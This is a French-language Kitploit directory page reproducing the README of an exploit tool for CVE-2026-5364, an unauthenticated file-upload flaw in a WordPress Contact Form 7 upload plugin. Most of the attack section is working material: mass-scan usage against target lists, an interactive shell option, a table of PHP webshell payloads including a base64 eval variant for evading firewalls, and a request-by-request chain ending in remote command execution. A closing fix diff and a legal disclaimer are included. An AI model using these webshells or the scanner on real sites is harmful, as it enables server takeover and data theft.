Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-5364 — CVE-2026-5364 est une vulnérabilité de téléversement arbitraire de fichier non authentifié, classée CVSS 8.1 (Élevée), dans l'extension Drag and Drop File Upload for Contact Form 7. | Kitploit
Outils/GitHubGitHub/xxconi/cve-2026-5364
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubxxconi/cve-2026-5364

CVE-2026-5364

CVE-2026-5364 est une vulnérabilité de téléversement arbitraire de fichier non authentifié, classée CVSS 8.1 (Élevée), dans l'extension Drag and Drop File Upload for Contact Form 7.

Voir le dépôt
110il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-5364

CVE-2026-5364 est une vulnérabilité de téléchargement de fichier arbitraire non authentifié de score CVSS 8.1 (Élevé) dans le plugin Drag and Drop File Upload for Contact Form 7

CVE-2026-5364 — CF7 Drag & Drop File Upload RCE

Téléchargement de fichier arbitraire non authentifié via contournement de sanitize_file_name() CVSS 8.1 (Élevé) | Affecté : <= 1.1.3 | Corrigé : 1.1.4


📋 Aperçu général

ChampValeur
CVE IDCVE-2026-5364
PluginDrag and Drop File Upload for Contact Form 7
Slugdrag-and-drop-file-upload-for-contact-form-7
CVSS8.1 (Élevé)
VecteurCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Affecté<= 1.1.3
Corrigé1.1.4
ChercheurThomas Sanzey
Publication23 avril 2026

🔍 Résumé de la vulnérabilité

Le plugin lit l'extension du fichier avant le nettoyage avec sanitize_file_name(). L'attaquant télécharge un fichier nommé shell.php$ :

pathinfo('shell.php$', PATHINFO_EXTENSION)  →  'php$'   ← contourne la blacklist
sanitize_file_name('shell.php$')            →  'shell.php'  ← enregistré en tant que PHP

Chaîne de trois faiblesses indépendantes :

  1. Liste blanche contrôlée par l'attaquant — le paramètre POST type est lu depuis l'utilisateur
  2. Extension avant nettoyage — pathinfo() est appliqué au nom de fichier brut
  3. Nettoyage tardif — sanitize_file_name() dans wp_unique_filename() supprime le caractère $

⚙️ Installation

git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests

Prérequis

  • Python 3.8+
  • Bibliothèque requests
  • Cible : WordPress + CF7 D&D Upload <= 1.1.3 + page avec formulaire CF7

🚀 Utilisation

Cible unique

# Temel exploit (id komutu)
python CVE-2026-5364.py -u https://target.com

# Özel komut
python CVE-2026-5364.py -u https://target.com -c "whoami"

# İnteraktif shell
python CVE-2026-5364.py -u https://target.com --interactive

# Farklı shell tipi
python CVE-2026-5364.py -u https://target.com --shell exec

# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080

Scan par lot

# 20 thread ile tarama
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt

# Yamalı sürümleri de dene
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30

# Sonuçları dosyaya kaydet
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt

Tous les paramètres

Cible :
  -u, --url URL         URL cible unique
  -l, --list FILE       Liste de cibles (une URL par ligne)

Exploit :
  -c, --cmd CMD         Commande OS (par défaut : id)
  --shell TYPE          Type de webshell : basic|exec|pass|eval|info
  -i, --interactive     Ouvrir un shell interactif
  --no-skip-patched     Essayer aussi les versions corrigées

Scan :
  -t, --threads N       Nombre de threads (par défaut : 10)
  --timeout S           Timeout en secondes (par défaut : 15)
  --proxy URL           Adresse du proxy

Sortie :
  -o, --output FILE     Fichier de résultats
  -v, --verbose         Sortie détaillée
  --no-color            Sortie sans couleur

🐚 Types de webshell

TypePayloadUtilisation
basic<?php system($_GET["cmd"]); ?>Usage général
exec<?php echo shell_exec($_GET["cmd"]); ?>Sortie complète
pass<?php passthru($_GET["cmd"]); ?>Sortie binaire
eval<?php @eval(base64_decode($_POST["x"])); ?>Caché/Contournement WAF
info<?php phpinfo(); ?>Informations PHP

🔬 Détails techniques

Chaîne d'exploitation

1. Nonce Tespiti
   └─ wp_localize_script() ile her ziyaretçiye açık
      GET /contact/ → HTML içinde "nonce":"abc123def4"

2. Shell Yükleme
   └─ POST /wp-admin/admin-ajax.php
      action=cf7_file_uploads
      nonce=abc123def4
      type=php$          ← blacklist'te yok
      file=shell.php$    ← sanitize_file_name() → shell.php

3. URL Alma
   └─ Response: {"status":"ok","text":"https://target.com/wp-content/
                 uploads/cf7-uploads-custom/6831a2f4b3c12.php"}

4. RCE
   └─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)

Caractères de contournement

Caractères supprimés par sanitize_file_name() :

$  %  ~  `  (boşluk)

L'outil essaie automatiquement tous les caractères de contournement.


🛡️ Facteurs atténuants

FacteurImpact
Apache .htaccess (Content-Disposition: attachment)Empêche l'exécution de PHP
Nginx / LiteSpeed.htaccess invalide — RCE possible
Nom de fichier aléatoire (uniqid())Inefficace car la réponse AJAX renvoie l'URL
NonceProtection CSRF — pas d'authentification, inefficace

🩹 Solution

Mettez à jour le plugin vers la version 1.1.4 ou supérieure.

# WP-CLI ile güncelleme
wp plugin update drag-and-drop-file-upload-for-contact-form-7

Correction du code (1.1.4)

// YANLIŞ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);

// DOĞRU (1.1.4)
$clean_name     = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);

// type parametresi artık admin ayarından okunuyor
$type = $this->get_admin_allowed_types($form_id);  // POST'tan değil

⚠️ Avertissement légal

Cet outil a été développé uniquement pour la recherche en sécurité à des fins éducatives et défensives. Son utilisation sur des systèmes non autorisés est interdite et peut avoir des conséquences légales. Utilisez-le uniquement sur les systèmes pour lesquels vous avez obtenu l'autorisation.


📄 Références

  • Wordfence Advisory
  • WordPress Plugin Page
  • NVD CVE-2026-5364
  • sanitize_file_name() Docs
Télécharger l’outil